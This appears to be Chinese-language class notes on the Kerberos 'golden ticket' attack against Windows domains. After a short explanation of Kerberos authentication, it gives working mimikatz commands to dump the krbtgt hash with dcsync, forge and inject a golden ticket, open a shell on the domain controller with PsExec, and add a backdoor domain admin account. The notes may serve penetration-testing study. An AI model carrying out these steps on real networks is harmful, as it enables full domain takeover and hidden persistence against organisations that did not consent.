????????黄金票据(golden ticket)攻击,是一种为任意用户生成TGT票据的方法,属于一种后门。黄金票据生成,是生成有效的TGT Kerberos票据,并且不受TGT生命周期的影响(TGT默认10小时,最多续订7天),那么,这里可以为任意用户生成黄金票据,就可以为域管理员生成TGT,普通用户就可以变成域管理员。
????????Windows 的认证协议主要有两种,一种是 NTLM 认证,另一种是 Kerberos认证。
?? ? ? 这里主要简单说一下Kerberos认证方式,这是一种基于票据的认证方式,有客户端、服务器和KDC(DC,Domain Controller)组成。
??????? 认证流程:
????1.客户端向KDC的AS服务请求开具身份证明。
????2.AS服务认证成功后返回给客户端认证权证(TGT,黄金票据攻击需要伪造的票据)
????3.客户端拿着TGT到KDC的TGS服务买票。
????4.TGS认证成功后返回给客户端服务票据(ST)。
????5.客户端拿着ST去访问服务。
??? 6.服务向DC核实,返回相应的服务资源。
注意:
????制作域管的TGT票据,首先需要获取Krbtgt账户的密码hash,而Krbtgt账户的密码hash存储在域控制器上,因此需要活动域管理员权限。
综上,是个死循环,所以黄金票据攻击,并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。
Windows server 2016,Windows10
??以下步骤在Windows server 2016下运行
域名称
输入systeminfo
域:hu.com
1.域的SID
?privilege::debug
lsadump::dcsync /user:krbtgt
S-1-5-21-4190596955-3467960438-2623003303
2.域控的Krbtgt账户的密码hash值(域控已经被拿下来)
a36cfc43018a696e4b01fc6941e54951
3.任意域用户
Administrator
4.制作票据
在之前查看原有的票据,然后删除,最后制作票据
?1)查看当前票据
????kerberos::list
2)清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge
3)制作票据(注意‘/’前面都有空格)
kerberos::golden /admin:administrator /domain:hu.com /sid:S-1-5-21-4190596955-3467960438-2623003303 /krbtgt:a36cfc43018a696e4b01fc6941e54951 /ticket:ticket.kirbi
以下操作利用猕猴桃
导入黄金票据
????kerberos::ptt ticket.kirbi
kerberos::list
反弹域控shell回本地
PsExec.exe \\DC.dongta.test cmd.exe
DC.dongta.test这个是获取Windows server 2016的
然后添加域控管理员账号
net user username password /add /domain
net group“domain admins” username /add /domain
????黄金票据攻击相当于一个后门,制作黄金票据最重要的是获取到Krbtgt用户的hash。
以上是跟着老师上课时做的总结。